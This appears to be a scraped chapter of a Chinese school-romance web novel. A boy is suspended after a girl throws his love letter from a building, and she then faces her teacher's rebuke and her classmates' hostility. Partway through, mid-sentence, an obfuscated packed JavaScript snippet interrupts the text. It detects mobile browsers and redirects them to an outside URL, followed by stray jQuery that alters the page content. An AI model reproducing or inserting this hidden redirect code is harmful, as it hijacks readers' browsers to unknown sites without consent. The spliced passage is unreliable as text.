许慎被停学了。
他跟老方谈完话并没有回教室,又被老周叫去面谈,而后更是在办公室就被直接通知了家长,把他领回家去了,连东西都没回来收拾过。
对于这些高中生,早恋任何时候都是一条高压线,是被学校高度重视的。尤其是因为这个契机,一下子使得许慎这段时间做过的那一系列出格的事在老师们脑子里被串了起来。
许慎原本就算是高中部的风云人物,经过艺术节后人气更甚,如今追求同级女生不成,被人家直接从楼上丢了情书这事一下子传的沸沸扬扬,影响不可谓不大。
这次老方没有把这事儿在年级内或是高中部内解决的意思,当然这程度似乎也已经不可能再有内部解决的可能性。听说他已经向校领导汇报过了,校方正在讨论对许慎的处理,似乎有要借这件事杀鸡儆猴,重整纪律的意思。
课间时教室里处处都很热闹,无不在热议这件事。起初,班上还只有早上参与过的一小部分人知道来龙去脉,但随着事件的发酵,很快就无人不知了。展新月从这些拥簇在一起的人堆旁边经过时,那些原本正交头接耳的人群会瞬间安静下来。
显然,大家充满了分享欲和讨论欲,但这种分享欲的对象并不包括展新月这个当事人。
不过从他们依稀传出的声音里,展新月还是听见了些许关键词。
没准许慎有可能被开除。
风言风语传了一天,虽然不知道这句话的真实度,但许慎被停学,座位空了一整天却是既定事实。高二学期各个学科都在赶进度,一般不是太过分的事学校不会轻易对学生做出停学处理,毕竟在这种关键时期,一两周的缺课就可能导致学生很难再跟得上进度,由此可见,这回老方是动了真格的了。
下午最后一节课刚下,老周阴沉的脸就出现在了教室前门口。这事儿闹得这么大,又是自己班上的学生闹出来的,他心情自然好不了。
见他出现,刚因为下课铃松懈下来的班里学生都重新打起了精神,不过这次大家没有刻意去躲避他的视线,反而不少人都在往他脸上望。显然,大家都在暗自猜测他会对今天这场10班的大事说点什么。
讲台上的带课老师还没来得及走,见了老周,好像也觉得他要针对今天的事说些什么,立刻朝他示意,要将讲台让给他。
老周摇了摇头,并没有进来。他的目光在教室里扫了一圈,最后停在展新月身上。
“展新月,来我办公室一趟。”
老周的位置在办公室的最里侧,是一片相对隔绝周边环境的空间。旁边的老师不在,他将对方的椅子拖到他面前,示意展新月坐。
展新月坐下后,平静道:“周老师,你找我什么事?”
“我想,我找你是为了什么你心里应该也清楚吧。”老周说,“今天我和许慎谈话的时候,说他做的所有事都没有跟你商量过,都是他自作主张,让我不要找你。虽然从那封信的内容上也基本印证了这一点,但是,我还是想找你聊聊。”
展新月默默听着。
“你这次考试退步这么大,跟许慎有关系吗?”老周问。
展新月想了好半天,轻轻摇了下头,犹豫一下之后,又点了点头。
她这次成绩下滑严重主要是因为她重生后对知识点的陌生,但细想之下,她的重生却又原本就跟许慎脱不了干系。
“怪不得。”老周点点头,“他的这些行为确实很干扰人,让你分了心导致成绩下滑。你放心,我今天已经对他进行了严肃的批评教育,他家长也答应回去以后会严厉管教他,你之后可以放心。”
“嗯,谢谢老师。”展新月说。
“不过呢……”老周话锋一转,“有时候做事也要讲究方式方法,我觉得你的处理方式也有些欠妥。遇到这种事情,你大可以直接来找老师,没必要采取这么偏激的方式。如今闹出这么大的动静,在整个年级,整个学部都造成了不好的影响。”
见展新月垂着眼睛不做辩解,老周又说:“我不是替许慎说话,只是你确实应该想想,这样闹得满城风雨对你自己好吗?你是高二生了,现在最需要的就是能静心学习的环境,而不是这样把自己卷进话题的风口浪尖。”
“对,周老师,我这样确实不太成熟。”展新月说,“以后会注意的。”
她这样的态度,好似无可指摘,又好似有哪里不对劲。老周对着展新月那张垂着眼很平静的脸,感觉自己说出的话她像是全盘接受了,又好像完全油盐不进。有一瞬间他感觉自己就像是在对着块棉花讲话似的。
“唉。”老周无力叹了口气,“事已至此,我也不说什么了。你要尽快调整下状态,把心思收回到学习上。许慎这事儿学校自会好好处理的,你不用再操心了。”
从办公室出来还没走到教室门口,辛文华一个人靠在10班门外的栏杆上,正神色复杂地望着她。
展新月看他一眼,依旧朝着教室走,辛文华却迎了上来。
“那个……新月,老周找你说什么啊?”
不知道是不是因为今天这件事闹到这种程度他在中间掺和了不少,这会儿他看着展新月的表情透着十足的尴尬。
“没说什么,就让我不要被这事儿影响,把心思放在学习上。”展新月说。
“他没说许慎会被怎么样吗?这要停学多久啊。”
“没说。”
辛文华听了,砸吧了两下嘴,又语重心长地开口:“新月,我必须得说句公道话,你今天这事做的有点太不地道了。慎哥多好一人啊,又那么喜欢你。哪怕你对他没那种意思,也不应该这样对别人啊。人都是要脸的,你直接把他给你写的东西丢下楼,这得多伤人。年级里那么多人认识他,你这不是把人家的尊严往地上踩吗?”
展新月不想和他聊下去,转身绕开:“这事跟你没关系。”
“你不愿意听就算了,但俗话说,做事留一线,日后好相见……不管怎么说,你这样做事一点余地都不留,真的很过分你知道吗。”辛文华在身后不依不饶地大声说。
教室里很热闹,活动课原本应该很多人都不在教室里,但这会儿里面嗡嗡的说话时隔得老远都能听得到。只不过展新月才一进教室,原本热闹的声音瞬间就小了下去。教室后面三三两两聚着的人群中大家都抬眼看向她,眼神中不约而同地透着异样的戒备神色。
显然,因为她的出现,大家不方便再肆无忌惮地聊天了。那么不用想,也能知道她们的话题中心是什么了。
展新月往前走几步,教室里的声音就更小一分。从侧边的几个人身旁路过时,那几个人甚至直接就散开了,各自回位置上去了。展新月想了想,干脆直接转身出了门,重新离开了教室。
既然有的话大家当着她的面不好讲,她就不在这里碍眼了。
走在走廊上,一路也有不少隔壁几个班的人在偷偷打量她。展新月加快步子下了楼,一直到走到后操场才好了些。
这个时间段后操场人也很多,不过各个年级各个学部的学生都有,总算是没有那么多人再盯着她看了。
大家在聊些什么展新月不用听也知道,其他班上的人对她这个话题中心人物投来的目光俱是好奇。但10班的人却不一样了,那些避着她的议论和看过来的异样眼神,显然已经变得不那么友善。
就像老周和辛文华对她讲的那些话一样,所有人都不理解她的行为。在大家看来,许慎并没有做过什么过分的事,尤其是对于这群学生而言,很多事私下再怎么不愉快是一回事,可要闹到老师面前就是另一回事了。那被认为是一种叛徒一般的,让人不齿的行为。
虽然早有心理准备,但就在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240183|172460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一天之内她好像就突然变得千夫所指,心里不可能完全不生波澜。
比起许慎对她做过的事,她觉得自己这点儿报复可以说是不值一提。然而在这一刻,在大家眼中,她才是那个不占理的,过分的人,而许慎则成了大家眼中的受害者。
展新月漫无目的地沿着操场边的跑道往前走,跑道上人来人往,她一时间也不知道自己该往何处去了。
教室里,时子骞正在转着笔,盯着展新月空着的位子不知道想什么。
早上那一幕发生时时子骞并不在,不过一天里早就从有意无意听来的大家的议论声里拼凑出了个大概。
展新月一直表现得很平静,但今天明显很多时候都在发呆出神。刚才她被老周叫出去很长时间,人好容易回来了,却刚进教室就又出去了。
时子骞抬眼望过去时,就只看到她的一道背影在前门口闪了一下,很快就不见了。
他盯着那边看了一会儿,吐了口气,将手里的笔丢下了,脸上渐渐浮现出思索的神情。
不过还没过几分钟,一道娇小身影忽然出现在前门口。时其悦在扶着门探头探脑的,一看见他,立刻冲他招手:“出来呀!”
她这一声叫声音不小,喊得教室里不少人都往门口看,时子骞只好起身走过去。
“什么事?”他顺手将门掩上了,隔绝了教室内投来的好奇目光。
“我来看看热闹。”时其悦偏要伸手又重新把门推开了,还探头往里张望,“你那个情敌是哪个,给我指指啊。我看看他长什么样子,有没有竞争力。”
时子骞抬眼:“你怎么知道的?”
“初中部都传遍了啊。听说有人死皮赖脸追一个女生,天天百般纠缠,结果人家不耐烦直接把他的情书从楼上丢下去了。没想到就那么巧,情书直接掉你们教导主任脸上了。我正听热闹呢,一听名字,这女生不是你同桌吗!”时其悦一摊手,语气里很有几分遗憾意味,“我还以为男主角是你呢,没想到问了名字发现不是。所以那兄弟到底是哪个啊?”
也不知道学校里这些八卦怎么能传的这么快,一天时间就从高中部传到初中部去了,而且在口口相传中,细节已经变形了不少。
“没在。”时子骞简单道。
时其悦不大死心,“什么时候回来?”
时子骞朝着讲台边的空座位回望一眼,语气寡淡:“不知道还能不能回来。”
“啧,被开除了?”时其悦顿时哈哈笑起来,“不至于这么惨吧,这兄弟也真够倒霉的。”
“暂时还没,之后不知道。”
时其悦笑了一阵,感慨道:“说起来,我之前真有点看走眼了。我要收回我之前说过的话了,别看这姐姐看起来那么温柔,心可一点都不软啊。可见,人不可貌相啊!”
“也不是。”时子骞说,“她俩应该之前就有点儿过节,不然她也不会这样。”
他还记得展新月曾经告诉过他她特别讨厌许慎,虽然有的时候她对许慎的态度让他充满困惑,但现在来看她所言并不虚。
“行吧。”时其悦眼睛一转,“就这情况来看,你可得加油啊。希望下次我再在初中部听见又被丢了情书的人不是你。”
时子骞默然,“你来找我就这事儿?”
“不然呢。”时其悦理所当然道。
“那你已经问完了,可以回去了。”说罢,时子骞转头往教室走。
时其悦却先一步朝一跨,继续嘻嘻哈哈地火上浇油:“不过你不用担心,放心去追吧!毕竟你有一个很大的优势那倒霉兄弟比不了。”
时子骞脚步略停了停:“什么?”
“起码,学校不会开除你。”
时子骞:“……”
他从她身边侧身进门。这次时其悦没去拦,在他身后又顾自哈哈地笑个不停。